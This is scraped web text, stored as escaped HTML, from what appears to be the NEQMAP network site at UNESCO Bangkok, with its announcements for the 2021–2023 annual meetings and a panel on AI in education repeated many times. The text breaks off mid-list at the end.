The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other enablers of learning in classrooms including curriculum and pedagogy.  <\/p>\n\n\n\nOn December 7-8, 2023, NEQMAP will host its Annual Meeting to take stock of the year\u2019s activities from members and plan activities for 2024. The Annual Meeting is a unique opportunity for NEQMAP members to share, discuss and learn from each others\u2019 research, practices and experiences to advance the quality of learning assessment in the Asia-Pacific.  <\/p>\n\n\n\nThis year\u2019s annual meeting edition is also a celebration of NEQMAP\u2019s 10-year anniversary and the accomplishments made by the members over the past decade to advance the quality of education in the Asia-Pacific region.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As has been observed, the traditional classroom has its limitations, particularly in meeting the diverse needs of students. One such limitation is teacher capacity. While research emphasizes the importance of a learner-centered approach to teaching and learning, teachers often find themselves restricted by the overwhelming number of students they must instruct and routine tasks that consume valuable preparation time. Due to these factors, teachers are often limited in customizing learning experiences and feedback for every student. In Asia and the Pacific, teachers also often lack the tools, training, and necessary support for meeting these individualized learning needs, further compounding these issues. In this context, AI has emerged as a potential solution. The launch of the AI chatbot, ChatGPT, in November 2022 is a notable example of this, accumulating a record-breaking 1 million active users in less than a week, while garnering significant controversy about its use in education. As we approach a new era of education in the age of AI, our panel of top experts will explore these issues, potential consequences, and possible opportunities for education professionals.<\/p>\n\n\n\nSpeakers:<\/strong> <\/p>\n\n\n\n<figure class=\"wp-block-image alignleft size-full is-resized\"><img src=\"https:\/\/neqmap.bangkok.unesco.org\/wp-content\/uploads\/2023\/09\/Screenshot-2023-09-14-at-2.46.12-PM.webp\" alt=\"\" class=\"wp-image-5749\" style=\"width:148px;height:175px\" width=\"148\" height=\"175\"\/><\/figure>\n\n\n\nMichela Pagano<\/strong> has been a member of UNESCO Headquarters' Unit for Technology and AI in Education since 2016, actively contributing to AI initiatives and implementing ICT projects in Africa.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary.

The network focuses on student learning assessment as a key tool for monitoring education quality and learning, while acknowledging the importance of maintaining strong linkages with other learning enablers in classrooms, including curriculum and pedagogy. NEQMAP organizes on December 15-16, 2022, its annual meeting to take stock of the year\u2019s activities and plan activities for 2023. <\/p>\n\n\n\nNEQMAP\u2019s 2022 Annual Meeting comes at the end of a year 2022 during which countries in Asia-Pacific have reaffirmed their commitments to improving learning for all. In June 2022, the Second Asia-Pacific Education Ministers\u2019 Conference (APREMC-II) was held in Bangkok Thailand and led to the adoption of the \u201c<a href=\"https:\/\/unesdoc.unesco.org\/ark:\/48223\/pf0000381962\">Bangkok Statement 2022: Towards an effective learning recovery for all and transforming education in Asia-Pacific<\/strong>\u201d<\/a>. The Bangkok Statement 2022 identified two main priority areas of action for Asia-Pacific: ensuring a timely recovery post-COVID-19 and transforming education to be more relevant, inclusive and resilient. Internationally, the <a href=\"https:\/\/www.un.org\/en\/transforming-education-summit\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Transforming Education Summit<\/a> <\/strong>convened in New York by the United Nations Secretary General created a new momentum among countries for education reform and achieving the SDG 4 goals. NEQMAP will aim to support countries in Asia-Pacific to meet their commitment through knowledge-sharing and capacity-building in the areas of assessment and monitoring of learning. <\/p>\n\n\n\nThe year ahead is also a historical milestone for the NEQMAP network, which will celebrate its ten-year anniversary. The 2022 Annual Meeting will thus aim to plan for this celebratory year by reflecting on the accomplishments of the first decade and exploring how to advance further the work of NEQMAP and its role in promoting better monitoring of learning in Asia-Pacific. <\/p>\n\n\n\nObjectives:<\/strong> The NEQMAP 2022 annual meeting has three main objectives: <\/p>\n\n\n\n<ol>\n<li>To promote knowledge sharing between NEQMAP members on student assessment and monitoring of learning outcomes <\/li>\n\n\n\n<li>To further strengthen NEQMAP\u2019s capacity in knowledge-sharing, capacity building and research around the key themes of learning assessment <\/li>\n\n\n\n<li>To decide on the NEQMAP 2023 priority areas of work<\/li>\n<\/ol>\n\n\n\n<\/p>\n\n\n\nWhen:<\/strong> 15-16 December 2022<\/p>\n\n\n\nWhere:<\/strong> UNESCO Bangkok and via Zoom (Hybrid Modality)<\/p>\n\n\n\nWho:<\/strong> All NEQMAP members, as well as delegates from partner organizations, are invited to participate in this meeting to update each other on their relevant activities and to share their experiences and thoughts on the topic.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To strengthen and revitalize the network\u2019s collaborations through harnessing existing innovations in the field of monitoring quality of education;<\/li><li>To identify the network\u2019s target activities in 2022 and 2023<\/li><\/ol>\n\n\n\nParticipants<\/strong><\/p>\n\n\n\nAll NEQMAP members, as well as partner organisations, are invited to participate.

As highlighted in the UNESCO\u2019s high-level ministerial meeting in March 2021, it is crucial to prioritize education recovery and transformative education to avoid any generational catastrophe. As schools are reopening from the COVID-19 pandemic which has caused widespread disruption in education systems globally since March 2020, the issues of the learning losses, monitoring children\u2019s learning level and progress, the impact on their health, social emotional learning, as well as ways to continue to ensure the quality learning outcomes in the recovery phase of the emergencies are vital topics of discussion among education stakeholders.<\/p>\n\n\n\nTo discuss some of these timely and important issues, the Network on Education Quality Monitoring in the Asia-Pacific (NEQMAP) will host its 2021 Annual Meeting on, \u2018Reimagining Monitoring Quality Education Beyond<\/strong> COVID-19\u2019. <\/strong>This year\u2019s annual meeting will again be held online through Zoom. We invite NEQMAP members to provide updates on their activities pertaining to monitoring learning during and in the aftermath of COVID-19.  We expect the annual meeting will offer a platform to discuss pressing issues regarding education monitoring systems to ensure quality learning outcomes. The pandemic is an opportunity to exchange knowledge and experiences on how education systems need to transform in response to today\u2019s challenges; identify remaining gaps; and to prepare for digital transformations and the futures of education.  A pressing question for us is how can NEQMAP network catalyze efforts and mobilize resources to design relevant and tailored responses as we reimagine education beyond COVID-19.<\/p>\n\n\n\nObjectives:<\/strong><\/p>\n\n\n\n<ol type=\"1\"><li>To update on progress of members\u2019 achievements, challenges, and opportunities in 2021;<\/li><li>To 